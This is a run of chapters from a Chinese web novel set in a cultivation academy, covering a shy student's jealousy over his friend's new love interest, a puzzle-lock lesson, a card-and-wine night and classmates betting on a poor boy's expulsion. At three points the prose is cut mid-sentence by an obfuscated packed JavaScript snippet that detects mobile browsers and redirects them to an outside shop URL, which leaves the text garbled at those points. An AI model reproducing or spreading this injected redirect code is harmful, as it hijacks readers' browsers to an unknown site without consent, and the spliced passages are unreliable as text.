大弟子:“我这里有一把囚心锁,只有六个轱辘共同转向正确的一面,方能打开,每个轱辘又有共六面,刻着不同的生肖印烙。你们本堂课的功课便是破解囚心锁。” 明华潋仔细观察囚心锁的构造,等他观察完了,也已经用墨笔将轱辘锁的轮廓勾勒在了笔记上。 “哇,你画得好厉害啊,简直栩栩如生!”说话的是坐在他前面的少女,生着一张娃娃脸,眨眼睛时就像星星一样一闪一闪。 “……啊。”明华潋不觉得这有什么厉害的。 “你是明华潋吧?”少女问。 明华潋有点困惑,他不认识少女,但少女却叫出了他的名字。 少女笑吟吟道:“我叫南若汐,是你们隔壁班的,很早就在榜上注意到你了,你机关学成绩一直都是第一,怎么保持的呀?” “就是那样……”他习惯故作淡定。 南若汐:“就只是听课学习吗?” 明华潋:“嗯。” “太厉害了,我连课都听不懂,基础的还行,进入撷英院之后就太深奥了……” 南若汐话刚说到一半,讲台上,大弟子开始分派任务,南若汐合上了嘴巴,两人都安静听大弟子说话。 “鉴于这次的难度,我会将你们分成多个小组,由于是打乱分配,会有两个班学生同在一个小组的情况,希望你们视艰若夷共克难关。” 撷英院两班人数加起来也不少,明华潋不认为能和宫昭分到一组,事实情况也如他所想,他们两人分到了不同的组别,由于早有心理预期,也不觉得有多失落。 但他没想到的是,两个班人加起来恰好是单数,余温雪成了多出来的那个。 “只剩下你一个了,”大弟子对余温雪说:“宫昭小组和明华潋小组人都没满,他们恰好是你之前班上的,你愿意和谁一组?” 明华潋僵住了,下意识瞥向宫昭,宫昭则盯住余温雪的脸。 余温雪想了想:“我想和华潋一组。” 宫昭气地狠狠拍向桌子:“不行!” 大弟子早已习惯他飞扬跋扈,不软不硬地回到:“行与不行,也不是桌子说了算的。我尊重温雪的意愿。” 宫昭碰了个钉子,又望向余温雪的方向,却只看到了一个扎着发髻的后脑勺。 宫昭不顾是在学堂,拉开椅子,椅脚在地上划出刺耳的声音,大步走向余温雪。 明华潋皱了皱眉,宫昭肯定是想和余温雪一起的,但余温雪却选择了他,其实他心里也不怎么愿意,他不喜欢和余温雪打交道。但转念一想,又觉得能让宫昭吃瘪也不错。 13. 羡慕 为了方便组内交流,在大弟子的安排下,被分到同一个组的都坐到了一块儿。 明华潋他们这组只有他和余温雪两个男生,其余都是女生,其中还包括之前热情跟他打招呼的南若汐。 明华潋对于破解机关向来很有耐心,很乐于钻研寻找破解机关的方法,花费的时间越长,破解之后就能得到更大的快意。 囚心锁,看起来精巧复杂,但机关的变化总是万变不离其宗,他似乎在某处书籍里曾经看到过类似的构造,正当他回想时,南若汐凑过来:“你喜欢机关学吗?” “还算有趣。”他点了点头。 “你不觉得枯燥吗?”南若汐疑惑地问:“我记得之前淘沙院机关学的考核是八卦盘,要把珠子从迷宫里取出来,你花了多久呀?” “半个时辰。”明华潋淡淡说。 “哇,太了不起了!”南若汐嘴巴微微张大,几乎快要从座位上跳起来,还是旁边的姐妹挽住了她的手,她才没失态,只是眼神里依旧闪烁着兴奋和钦佩:“我花了整整三个半时辰呢,所以就勉强得了个乙等,据说还有人解了六个时辰,直接得了丙。” 听到满足虚荣心的赞美,明华潋故作平静,只微微颔首:“侥幸而已,没有想象中的难。” 南若汐鼓掌:“那看来我们这次一定是第一个破解囚心锁的。” “大家一起努力,一定可以做得到的。”他俨然一副端方持重之姿,谦逊地装腔作势。 “其实进入撷英院后,我机关学就不怎么能听得懂了,”南若汐从百宝袋里拿出一卷《机关学·叁》,满脸期待:“不懂之处我已经标注出来了,你可以帮我讲解一下吗?拜托拜托。” “在哪一页?” 明华潋一向不吝啬释放善意,恰到好处的帮助同学,有利于树立他在同学间的形象。他如泥沼一般的人生需要用虚荣和名声来填补和美化。 南若汐标注出来的难点,对于明华潋来说并不难,他的机关学已经自行修到了“陸”,他尽量用浅显易懂的话来拆解图形,南若汐稍微一琢磨也就想通了。 “原来是这样,也就是说这里的轴承不只是承接上面的散件,还作为下一个部件的枢纽。” “是这样。” 趁着南若汐领会他说的话,明华潋不动声色地瞥了眼宫昭。 方才宫昭和余温雪并没有谈拢,宫昭想要余温雪到他组来,余温雪坚决不同意,僵持了一段时间,竟也按捺着怒火僵硬地坐回座位。 他还以为宫昭会胡搅蛮缠,哪里见过宫昭如此好相与的模样?难不成终于对余温雪失望了,没了兴趣? 一想到有这种可能性,他便忍不住暗自兴奋,他借着给南若汐讲书的间隙,不时观察宫昭,却发现宫昭目光依然偶尔瞥向余温雪,并不像是失去了兴趣。 那为什么宫昭能忍住不发脾气? 正当他感到困惑的时候,又见宫昭目光不时往余温雪脸上飘,他忽然想到一种可能性……宫昭不会是害怕余温雪哭吧? 心情瞬间跌入泥泞的谷底,明华潋心又开始痛了,少年思慕之情都是如此痛苦的吗? 不,或许不是。 而是因为他和宫昭只是朋友,而宫昭的思慕另有其人。 他不想答应宫昭的邀请了,待到结业后他要留在嵇云,与宫昭就此分道扬镳。 是的,这才是正确的。 他不能让自己的修仙之途就这么毁灭了。 当他给南若汐讲学时,余温雪闷头研究囚心锁,余温雪机关学成绩还不错,就算是一些复杂的构造,也能快速理解,得其三味。 但这次与之前不同,囚心锁外表被寒铁包裹,不能窥见其中的构造,连他也不得要领。 正当他犹豫要不要拆开来看一看,忽然听见不远处一声惨叫。 “啊……” 听到惨叫声的众人下意识望了过去,只见满地爆裂符的灰烬,夏淳正捂着鲜血直流的手,疼得龇牙咧嘴。 大弟子走了过来,施展了一个治愈术,夏淳的手就恢复了原样。 他看了一眼喘着粗气的夏淳,又扫视了一眼其他人:“不要想着走捷径,囚心锁凭你们的能力是无法用配剑或符咒暴力拆开的。” “……” 大弟子走后,和夏淳一组的邬缪小心翼翼问:“你没事吧?手还疼吗……” “看老子手被炸成花,你是不是挺高兴的?”夏淳咬牙。 “我没有。”邬缪连忙摇头。 “老子手成这个样子,还不是你在那研究半天,结果连个屁都没研究出来。” 邬缪张了张嘴,想说点什么。 夏淳打断他:“你机关学不是也挺好的吗?之前老子和明华潋一组,那小子看一眼就捣鼓出来了。你这个蠢钝不堪的废物。” 邬缪低着头不敢说话。 见到夏淳的惨状,其他的人通通打消了强行破坏囚心锁的想法。 余温雪也苦恼道:“我刚才仔细观察了一番,锁心外表由寒铁包覆浑然一体,没有一丝间隙,无法看见构造,破解便尤为艰难。” “我也是,我也想不出法子了。” 说话的人是玉流烟,也来自于隔壁班,不过之前明华潋与她合作过,两人也不算陌生。 玉流烟来自西域,高挑曼妙,面庞莹白如玉,长发缱绻犹如碧波,两挽柔丝由玉钗串起,只是轻轻晃头这个动作,玉钗上的流苏、碧玉耳坠便叮当作响。 “你们都想不出,那我就更没办法了。”南若汐双手一摊。 明华潋从余温雪手中接过囚心锁,随着细致的观察,他突然想起在哪一本书中看过类似内容。 “有砂纸吗?”他问:“粗糙一点,薄一点。” “我有,”玉流烟柔柔和和举手:“草莎纸可以吗?” 他点点头:“给我吧。” 从玉流烟那里接过草莎纸,他将囚心锁放置在桌面上,锁芯朝下,又将草莎纸置于辘轳上,轻轻拨动,将每一个面都与草莎纸接触,轮毂转动的声音被草莎纸放大了。 修者耳聪目明,听力卓绝,几人一下就听出当刻有银毛鼠的那一面与草莎纸接触时,轮毂的振动声有微妙的不同。 玉流烟:“我知道了,只有转动到这里的时候声音不一样,所以银毛鼠肯定就是正确的。” “我也听出来不一样了,”余温雪惊讶:“出乎了我的想象,原来还有这样的解法……” “在藏书阁看过类似的。”面对其他人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606473|205744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊讶的目光,他装作平静地接受了。 当其他人陷入迷惑抓耳挠腮时,他轻描淡写地解决这个问题,由此获得旁人的惊讶和赞美,是他一贯的作风。他也知道表现的骄傲会引人厌烦,所以总是装作平淡冷静的样子。 余温雪也露出崇拜的表情:“太厉害了……” 南若汐得意:“我就说咱们组一定是第一个成功的。” 玉流烟:“还有五个辘轳,只要一一试过就可以了吧?” 南若汐举手:“我来我来,让我来!让我试一试!” 明华潋欣然起身,让南若汐坐到他的座位上,而他坐到原来南若汐坐的位置。 玉流烟就坐在他的旁边,唇角纤薄长翘,眯着眼睛朝他笑:“我就知道你能想出办法。” “啊。”他随口答了一句。 “我和若汐都看好你,”玉流烟指尖托着下巴,侧眸一笑,流苏碰撞出悦耳的音律:“你知道原因吗?” “我不知道。” 玉流烟悠悠道:“这就叫女人的直觉。” “这样。”明华潋点头。 由于和玉流烟说话,他不得不将两三分注意力转移到玉流烟身上,然后就发现余温雪和南若汐都在专注破解囚心锁,而玉流烟则抱着玉臂,眼神如同飘飞的流沙,不时飘往远处的江郁故。 他本能的意识到了什么,这和他刚才偷偷去瞟宫昭何其相似。 “你和江郁故认识?” 不知道是出于相似的处境,还是事关江郁故,他好奇的问出了这个问题。 玉流烟被他看穿了心思,也不觉得尴尬,毕竟进入撷英院的有几个省油的灯呢,她撩了撩耳边垂下的两绺发丝:“在淘沙院时我们是邻桌。” 明华潋:“你们刚才前后脚进学堂,也没有打招呼。” “当然没有打招呼,他怎么可能记得我?”玉流烟雾丝一般的眼神流露出克己的清醒和冷静。 “……” “我们只不过在一起做过两年的邻桌而已。”玉流烟耸耸肩,道:“现在路上碰见,估计他都忘了我是谁了。” “应该不至于。”他说。 “会的,江郁故就是这样,对谁都漠不关心,”玉流烟说:“你知道吧?其实许多人都颇为羡慕你和江郁故和宫昭走得都很近。” 明华潋很清楚自己在旁人眼中现在所处的位置是值得羡慕的,宫昭领导的群体是撷英院实力最浑厚的狼群,而他同时和宫昭、江郁故成为朋友,这本身就是令许多人羡慕的一件事。 但只有他能够真正感受到其中关系的脆弱。 围绕在宫昭身边的朋友们。要么过于精明,要么莽撞愚蠢。只有他拥有恰到好处的聪颖,以及一直以来的追随,让他占据了宫昭身边一个重要的位置,但这个重要位置却已经在被余温雪动摇。 而江郁故……他从来没有看清过江郁故的想法。 如果他拒绝结业后和宫昭走,宫昭肯定会生气。 那么他该怎么办? 想到这里,他又忽然萌生了另一种想法。 万一他就此丢失了宫昭“重要朋友”的身份,江郁故又会怎么对他? 还会在用膳时跟他开玩笑,在藏书阁与他聊天吗? 14. 野兽 这个问题直到下课一直回荡在他的脑海里。 明华潋觉得很可笑。 两个班在机关学结束后就分开了,他们各自抱着课本回到自己原来的学堂。 坐在座位上,明华潋试图把全部注意力放在课本上,但奈何夏淳的声音太大了。 “瞧瞧,瞧瞧,你们瞧瞧我找到了什么?” 夏淳俨然忘了方才手指刚被炸伤的疼痛,踩在椅子上,高高举起手里的东西。 严再樟试图抢夺,夏淳一个侧身就避让开了,把东西抛给了娄绣石。 娄绣石打开一看,嗅到一股甜蜜的香气,颇感好奇:“这是什么?是蜜吗?你从哪里得来的?” “从严再樟那里。”夏淳一抬下巴:“严再樟,你跟大家说说,这是什么?” 所有人的目光都望了过来,严再樟迫于压力,不情不愿道:“……春情蜜。” “春情蜜?怎么听起来好像和合欢宗有什么关系?”问话的是兰砚书的好友吕平。 宫昭双手抱胸,翘着腿,本来没什么兴趣,但眼珠子一转,见余温雪背对他们,丝毫不理会这里的吵闹。 他眼珠一转,为了吸引对方注意,便开口:“这春情蜜本身就是合欢宗研制的香油,质地细腻,遇热便化为春水,是旁处买不到的。” 吕平抹了一点,涂在手上一闻:“嗯,果然是香油……闻起来好香。” “你可知用在哪里?”宫昭大笑。 吕平平日里也是专心修炼,不问世事,不解问道:“用在哪里?” 周围一下安静下来。 明华潋深呼一口气,缓慢抬起了头。 连余温雪也好奇地望了过来。 “这寻常男欢女爱可是用不着香油的,这香油便是男男结合时才用得到的。”宫昭:“涂抹在受者股间,其幽香可令不举者情动,又能润滑干涩之处。” 这话对于明华潋不至于有多超过,但对于心思纯洁,不怎么了解情爱的余温雪来说就有点超过了,反应过来之后,双颊微红,睫毛不好意思地簌簌抖动着。 “我去!”吕平一想到这罐东西是用在哪里的,下意识就扔了出去。 严再樟及时接在掌心,放回自己的百宝袋收了起来,再不敢随便示人。 似乎觉得自己的话造成效果不错,宫昭目光假装不经意地扫过余温雪,却没想到恰好撞上对方的目光。 余温雪脸颊酡红,眼睛一眨一眨的。 宫昭愣了下,立刻慌张地移开视线,甚至恶声恶气地来一句:“看什么看。” 余温雪被吼得一愣,抿了抿嘴唇,把头扭了回去。 宫昭又后悔了。 明华潋藏在袖子里手指攥紧。 每次看到这样的场景,他的心情都糟透了。各种糟糕的情绪被他压在心底,他在心里骂,宫昭是个恶棍,随随便便提出有关未来的建议,把他的计划弄得一团乱,让他心情乱七八糟,却又和余温雪这样不清不楚。 他也是个傻子,早就应该断掉这份心意…… 吕平用了好几遍洗涤术,却又忍不住好奇:“男子与男子有乐趣吗?不会痛吗?” 宫昭觉得找到了唤回余温雪注意力的方法,故意大声道:“那就不得不提到男子股间的妙处。” 他故意抬高音量,连江郁故都被他吵醒了。 吕平:“妙处?” 娄绣石抚掌:“还得是宫哥,懂得真多。” 宫昭荤话连篇:“男子股间有一妙处,虽然因每人体质不同,这妙处不容易找出,但若是找到,光是轻轻一触便又酥又麻,若是大力一些便爽快的飘飘然若云端了。” 如余温雪、吕平这般平日里循规蹈矩的少年何曾听过这样的荤话,当即满脸羞红,眸光乱飞。 整个学堂里也乱糟糟的,空气里都浮动着一股暧昧的氛围。 明华潋只觉得宫昭真是疯了,居然在学堂里讲这种话,脑子简直不正常!和他一样不喜欢的人也不少,比如兰砚书等人便因宫昭的口无遮拦,深深皱起眉头,只是碍于宫昭的身份,又不敢言明。 但这类人肯定不包括江郁故。 听完宫昭的荤话,江郁故居然哈哈笑了起来。 “你笑什么?”宫昭问他。 江郁故还在笑:“有人大白天也会发情吗?” 宫昭低头啐了一句:“就知道你嘴里冒不出什么好话。” “哇,野兽也知道晚上才发情。”江郁故装模作样看了看外面的日头。 “这话你配说吗?从小到大连暧昧对象都没有的家伙。”宫昭玩笑似地调侃。 其他人也跟着笑了笑,但那种笑意是轻松的,善意的,并不是嘲笑。 毕竟那是江郁故,如果说撷英院有谁和宫昭势均力敌,那一定是江郁故。 宫昭脾性阴晴不定,谁也不知道他什么时候会因哪一句话发火,只有江郁故能这样跟宫昭开玩笑。 “那不一样,”江郁故嫌弃他:“那是因为我和你不一样,我不是个随便的家伙,我有我自己的标准。” 宫昭一听他这么说,颇感兴趣:“你喜欢什么样的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宫昭:“我看就是你连发情的对象都没有。” 打了个岔,话题被带了过去,但明华潋还是留意到刚才微妙的氛围,尤其是余温雪望向江郁故。 那么江郁故喜欢谁?真的是喜欢余温雪吗? 他漫不经心地想着,却在这时与江郁故目光撞在一起,脸枕在手臂上的江郁故,正静静地看着他。 15. 败类 又快要到休沐日。 午膳后,明华潋途径遗珠花苑,发现霜柿树上的果子落了一地,已经过了成熟的时节。 其实他来到嵇云后,才第一次吃到霜柿饼,他从小长大的壑口镇种不了柿树。 当时尝到霜柿饼甜丝丝的味道,他就喜欢上了。宫昭也发现了,告诉他新鲜的霜柿更好吃,便带他到这里来摘柿子,他因为吃得太饱,灵气涨肚,肚子疼了整整三天,但现在回忆起来依然是甜蜜的。 后来虽然没有做任何的约定,但宫昭几乎年年带他来摘霜柿。 今年宫昭似乎把这件事忘在了脑后。 眼看着满地的霜柿,他深深吸一口,一口气蹲下来,捡起几个,用袖子擦了擦上面的泥土,发现几乎都烂了。 他便烦恼地甩手,把果子丢了。 即便他也意识到宫昭并没有和他有任何的承诺,但只要想到宫昭忘了这件事,还是有千般万般的失望情绪在心头交织。 下午最后一堂课结束后,他收拾东西,正打算回枕流居,宫昭忽然走过来:“华潋,晚上和我在一起吧。” 他下意识想到之前两人夜话时谈到的内容,宫昭要和他约定结业之后一起离开嵇云。他一直都在忐忑,不知道宫昭什么时候会再问他这件事,但一段时间过去,宫昭却没有再提。 要么是宫昭忘了,要么是宫昭觉得他一定会同意,所以没必要再问。他觉得后者的可能性更大。 现下宫昭主动找到他,他便情不自禁紧张起来,但宫昭的下一句话又让他放松了。 宫昭:“到我房间打叶子牌,所有人都来,你也一起。” “算了吧,我还要去藏书阁看书。”他说。 “少看一天又不会怎么样。”宫昭声音柔和下来:“ 来吧,我会等你的,嗯?” “……好吧。”明华潋叹一声。 他说服自己,这是融入群体必要的社交,何况还能见到宫昭,所以浪费这些时间是值得的。但当他来到宫昭的房间,便发现自己的想法多么可笑。 他到的时候已经有点晚了,隔着一扇门都能听到里面嘈杂喧闹的声音。 门被打开,他跟在曹弘后面走进去,一眼就看见坐在宫昭身边的余温雪。 一看到余温雪,他的内心就感到抵触和不快,他后悔了,不应该不过来的。 就在他想随便找个位置坐下来,把时间挨过去的时候,宫昭发现了他,招招手:“过来坐,给你留了位置。” 明华潋不想坐过去,但鱼佑已经站起身来给他让了位置。他也只好坐在那个空位上。 坐下来后,他眸光一扫,就发现宫昭又要赢了,桌面上歪七倒八摆放着许多桃酿,也不知道他们从哪里弄来的酒。 但他更好奇的是宫昭和余温雪的关系看起来又缓和了,牌桌上四个人,宫昭和余温雪明显看起来像是一边的。 宫昭频繁跟余温雪说话,余温雪但凡有不会的也会问他,宫昭也没发脾气,而是很耐心地指点他。 明华潋不明白两个人的关系是怎么缓和的呢?在他不知道的时候发生了什么事情吗?一想到这点,他的内心就像被火灼一般煎熬,但他也不可能去问宫昭或问余温雪。 而且更令他感到不安的是,这次宫昭对余温雪的耐心是其他所有情人最长的。 很快,这一局就结束了,鱼佑和夏淳输了,夏淳骂骂咧咧被灌了半坛桃酿。 娄绣石嘲笑他:“你这是情场失意,牌场也失意啊,不如有空去庙里拜一拜吧?” “那谁叫那些个娘们没眼光。”夏淳眉梢一竖,口无遮拦骂道:“净看上严再樟那个贼眉鼠眼见风使舵的家伙,呸。” 严再樟听见这话表面没发作,心里却道,你说话跟没过脑子一样,哪个正常人能看上你? 娄绣石眼珠一转,又来了主意:“哎,要不我给你支个招?” 夏淳:“什么招?” 娄绣石笑道:“寒苦牢往西有一处禁地,名曰旧廊,据说鬼影森森,恐怖至极,时有鸳鸯情侣练胆同游。你不如带心上人前往,气氛恰到好处之时,也许她会扑入你的怀抱,寻求安慰呢?” 夏淳:“那若是被人发现呢?私闯禁地怕不是被直接关入寒苦牢。” 娄绣石摆手:“这就不用担心了,寒苦牢乃天然冰牢,方圆十里寒霜刺骨,本就人迹罕至了,连巡逻机关兽都是喽一眼就走,何况再往西的旧廊。” 宫昭道:“这倒确实是个好主意。只消简单营造一些氛围。若是对方对你有意,你们便可水到渠成了。” “我想想。”夏淳道。 其实他也有自知之明,怕根本没有人愿意陪他去旧廊。 宫昭又吩咐:“佑,把牌给华潋。” 明华潋本想拒绝,鱼佑也被灌了酒,整个人醉醺醺的,胡乱把叶子牌往他手里一塞。 他被其他人半拉半拽推上了牌桌。 事实上,这段时间看下来,他对叶子牌的规则也算了如指掌。宫昭在旁边一提点,他就弄清楚了该怎么玩。 相比之下,余温雪反倒像是新手,不过余温雪运气不错,每局都听三六九万,反倒是连着严再樟连着三把摸到“八索”“白板”,连输三把。 “输家要喝半坛桃酿。”宫昭说。 严再樟咕咚咕咚灌下半坛,抹了抹嘴角的桃酿:“再来,这回该我否极泰来了。” 果不其然,严再樟时来运转,而这次气运似乎没有眷顾余温雪,输家换成余温雪。 明华潋坐的座位本就靠近桃酿,就像刚才把酒递给严再樟一样,他十分自然地想把桃酿递向余温雪。 但宫昭忽然挡了他一下,桃酿洒了一些在他衣摆上。 “他不喝酒。”宫昭道。 余温雪微讶:“我只是随口一说,你还记得?” 宫昭调侃:“你一边哭一边说,我怎么会忘?” “谁哭了!”余温雪羞恼。 明华潋咬紧唇瓣,他几乎花了全部的力气来强压颤抖的手,将杯盏放了下来。 虽然不知道这段时间发生了什么,但在他错失的这段时间里,两个人又重归于好了。 如果他先前知道这一点,是绝对不会到这个地方来的。 真心后悔。 他以为自己面对这样的场景会麻木,会无动于衷,但心脏还是像撕裂一般痛苦,他好不容易才隐藏起心情,为什么要用这种方式帮余温雪挡下来?他也不可能伤害余温雪,只是倒了杯酒而已,为什么非要在他面前袒护,甚至急急忙忙挡住他? 他不能理解,一瞬间胃部酸痛难忍。 他再也压制不住情绪,捏紧颤抖的拳头,从座位上站起来,走到离他们最远的地方坐下。 嘈杂的声音在耳边嗡嗡作响,离他很远,又仿佛离他很近。这个房间里面充满了悲伤、嫉妒,他不应该在这个晚上走进这个房间。 走进这个房间的他,是个傻子。 傻子连理直气壮生气、发脾气的立场都没有。 但就像之前所说的一样,他擅长冷静,克制,即便想趴在被子里哭,但他外表依旧装作镇定自若的模样坐着。 之前他一直在等宫昭厌倦,甚至还为之前宫昭和余温雪的关系冷淡而高兴,以为慢慢拉开距离,两个人就会分开。现在想起来他真是个彻头彻尾的傻子,他不应该那么轻易地相信宫昭所说的话。 即使是狡猾的狐狸,也会被一时的感情蒙蔽双眼,但现在是时候清醒了。 忽然间,手指不经意碰到了一个硬硬的东西,他扭头,拿起来一看,是一幅卷轴。 拉开之后,发现卷轴里居然是一片空白。 他好奇地翻过来看了看,背面也没有画任何的东西。 还没等他再细看,宫昭的声音在他头顶响起:“你在看什么?” 他呼吸一乱,尽量维持平静:“没什么,刚才在桌子上发现的。” “哦,这是下午鱼佑在美人榭附近的角亭捡到的,”一个微弱的声音从身边传来。 明华潋望过去,少年身形瘦弱,与本该张扬肆意的少年人容貌不同,褚循垂眉耷眼,有一种饱经沧桑的暮气:“不知道是谁落下来的,应该是属于合欢宗,他偷偷拿回来了。” 明华潋点了点头,表示知道了。 宫昭在他旁边坐了下来。 他回头一望,却没见到余温雪的身影。 “余温雪呢?” 宫昭:“时间不早了,送走了。” 明华潋心头一松,藏起了所有的嫉妒心。 但又想到自己刚才起身离开牌桌,太过于突兀。 顿时觉得氛围有一点尴尬,或许也只有他自己一个人这么觉得。 他担心宫昭问他刚才为什么突然离桌,便摆弄着手里的卷轴,装作若无其事:“这卷轴估计还没来得及作画,居然是空白的。” “什么情况?”宫昭疑惑:“你说空白的?” “是啊。”明华潋也颇感疑惑:“怎么,你看到的不是空白的吗?” 难道每个人看到的画轴都不一样吗? 宫昭“嗯”了一声:“有人影。” “那你看到了什么?” 问出这话后,明华潋就后悔了,为什么要问这个?这幅画轴来自合欢宗,想也知道画上画的是风月之事。 宫昭却说:“余温雪。” 他愣了一下,甚至很难描述此刻的心情,刚才还感觉稍微缓和一点的胃部又开始酸痛。 他艰难的捂住胃部,揉了揉缓解不适,但他知道这是无济于事,因为他的难受来自于宫昭。 从壑口镇那个小地方走出来,他每一次考试比那些世家子弟都要好,原以为不会再有任何事情,会让他感觉到挫败感,但他的单恋总是一次又一次让他品味到挫折。 他刚才还觉得自己清醒了,现在又被随便的一句话刺伤了。 他内心烦躁,这个夜晚真是太糟糕了,心烦意乱的情绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在他甚至自虐的认为失望还不够,再多累积一点吧,也许他会先一步放下宫昭。 他强忍着心里的悲伤,仰脸眨了眨眼睛,生怕泪水从眼眶涌出来。 也就在这时,一张显眼的面孔出现在视野里。 江郁故好奇地问:“你在看什么?” “……看天。”明华潋把视线瞥开了。 江郁故:“现在还没到晚上,没有星星。” “我知道,这显而易见。”明华潋说。 江郁故忽然问:“你之前和宫昭在一起?” “昨晚在一起……”明华潋问:“你怎么知道?” “味道。”江郁故垂下眉毛,做出委屈的表情,“人和其他人在一起久了,就会染上对方的味道。” 明华潋解释:“昨天晚上和他们一起玩了会牌。” 江郁故:“怪不得有一股败类的味道。” 明华潋:“……” 这话说的。 没等他反应过来,江郁故突然俯身,缱绻的微风拂过面颊。 明华潋心跳忽然快了一拍,为江郁故我行我素的动作。 “你干什么?” 江郁故低头嗅了嗅。 微风捎来江郁故的气息,拂过他的颈窝。 “都快掩盖你本身的味道了。”江郁故低沉的嗓音就在他耳边。 明华潋以为味道真的很重,赶紧拉起袖子嗅了嗅,却没闻到什么奇怪的味道。 江郁故目光看起来有点锐利,皱起眉头:“你不觉得很浪费时间,很无聊吗?” “那是为了合群。”明华潋张开了嘴。 “真是想不通,”江郁故环抱手臂:“光阴如金,为什么要和那种没用的败类混在一起?” 明华潋:“混在一起……” 江郁故:“迎合败类,有什么意义?只会浪费光阴。” 其实明华潋很赞同江郁故说的每一个字,每一句话,简直像是说在他心坎上。 尤其是听到败类这个词,他简直要心快跳出来了。换做是平时,他听到有人这么形容宫昭,心里也许会不高兴,但现在他没有丝毫不快。 “……咳咳,败类?” “喝酒,打牌不就是校规里的不良行为吗?称之为败类有什么问题?”江郁故耸肩。 看上去倒有种乖学生的感觉。 之前明华潋是心痛,现在是笑得腹痛。 江郁故眨了眨眼,将手掌伸给他:“起来吧?” 他抬头看向江郁故,毫不意外的和那双狭长忧郁的眼睛对上视线。 望向那只修长的手,他犹豫了下,装作若无其事的抓住了那只手。 于是,江郁故笑了。 16. 刁难 江郁故手腕微微发力便将他拉了起来。 但身子起得太快,额头恰好撞到了江郁故的胸口。 一声闷响。 他吸了一口气,倒退两步,揉了揉被撞得通红的额头,却听见江郁故在笑。 他羞恼:“你笑什么?” 江郁故:“还有修士连站都站不稳吗?” “和你有什么关系。”明华潋扭头欲走。 江郁故抄着手跟着他:“去哪里?” “还能去哪,”明华潋睨他一眼:“快要上课了,当然是回撷英院了。” “一起走。”江郁故道。 他们从遗珠花苑晃回了撷英院,眼看要看到学堂的门头,明华潋忽地想到什么:“你刚才为什么会出现在那里?” “……嗯?” 明华潋:“你为什么去遗珠花苑?” 江郁故:“找你啊。” “找我做什么?”明华潋感到奇怪。 江郁故却忽然停下脚步,从储物戒里取出一本册子,居然是上次他信口胡诌要看的《灵怪图志》。 见江郁故继从储物戒拿出了上册后,又翻出了下册,明华潋一脸惊讶:“这你都能找得到?” “是很难的事吗?”江郁故轻挑眉梢。 毕竟是地摊文学,明华潋根本没寄希望能找到,自己都快忘了这回事了。 他随手拿过来翻了翻,的确是当年在摊贩手里看到过的书。 他深吸一口气,稍微整理了一下思绪,虽然觉得不可思议,但江郁故确实把他想找的书找到了。 他合上扉页,认真对江郁故道:“谢谢。” 江郁故露出了笑意,正打算说些什么,隔着走廊忽然听见夏淳的大嗓门:“严再樟,你刚才要跟我说什么?” “就是褚循啊……”严再樟说:“他好像之前试炼的时候把本命剑弄坏了。” 鱼佑:“他的本命剑难道是用庸劣之材锻造的吗?怎么这么轻易就坏了?” 夏淳嗤笑:“可不是嘛,之前大家都被他骗了。还以为他真有锻造出本命剑的本事,结果却是用一些廉价的东西。” 褚循? 明华潋脑海中顿时浮现出昨晚和对方说话时的模样,少年面色惨白,嘴唇毫无血色,身形也比前段时间削瘦。 原来是因为本命剑殒了。 本命剑铸剑之时,主人会将一滴心头血融铸剑中,于修士而言,心头血乃是至精至纯的珍贵之物。 融入心头血后,剑便不再是寻常兵刃,而与主人心意相通,神魂相融的本命剑。 若本命剑殒则会伤及主人的神魂,道基震荡,其中神魂之伤尤为致命,会一日一日磋磨身骨,甚至有人因神魂之伤而陨落。 曹弘:“道基都伤了,往后该如何修炼呀?” “咱们来打个赌吧。”娄绣石说。 鱼佑很有兴趣:“赌什么?” “嗯……赌他什么时候退学?”娄绣石以扇掩面轻笑道。 严再樟:“那我押三个月。” 鱼佑:“我押……一个月!” 几人肆无忌惮地嬉笑着。 明华潋非常清楚他们毫无顾忌的原因。 虽是撷英同窗,但嵇云到底不是凡间的学院。 从一开始,淘沙院就秉承着优胜劣汰的择优原则,注定了竞争的残酷性。嵇云从来并不希望他们和谐共处,而是希望他们彼此撕咬竞争。 这个基调,从淘沙院便已经奠定下来了。 何况世家门第是修真界千百年来通过功法传承,联姻,名声,资源累积而延续至今的。 在世家弟子看来,一些出身贫寒灵根天赋较好的,即便是努力修炼但没有大量的资源堆砌,也是不如他们这些世家出身的子弟。 天生的优越感也让他们无法共情寒门出身的褚循。 再者,褚循贪慕虚荣,明知用庸劣之材锻造本命剑有毁殒的风险,还是为了虚荣心,强行锻造出廉价的本命剑,此等愚蠢的行为更令他们嗤之以鼻。 “话说这褚循最近总厚着脸皮跟在你后面,是不是想求你帮忙?”娄绣石笑吟吟问夏淳:“你夏家不就是靠锻器发家,对于锻造法器颇为在行,尤其听说你家还有一个看家灵宝能重塑法器?” “那可是我家看家灵宝,岂能随便示人?”夏淳大手一挥:“我他娘的管他死活。” 明华潋本以为他们如此大声议论,是因为褚循不在学堂,然而还没等他走到门口,居然听见了褚循轻弱的声音:“夏淳同学……求求你帮帮忙。” “我凭什么?我夏家灵宝凭什么借给你这种人?”夏淳嘲讽道:“万一你弄坏了,把你磨成灰都赔不起。” 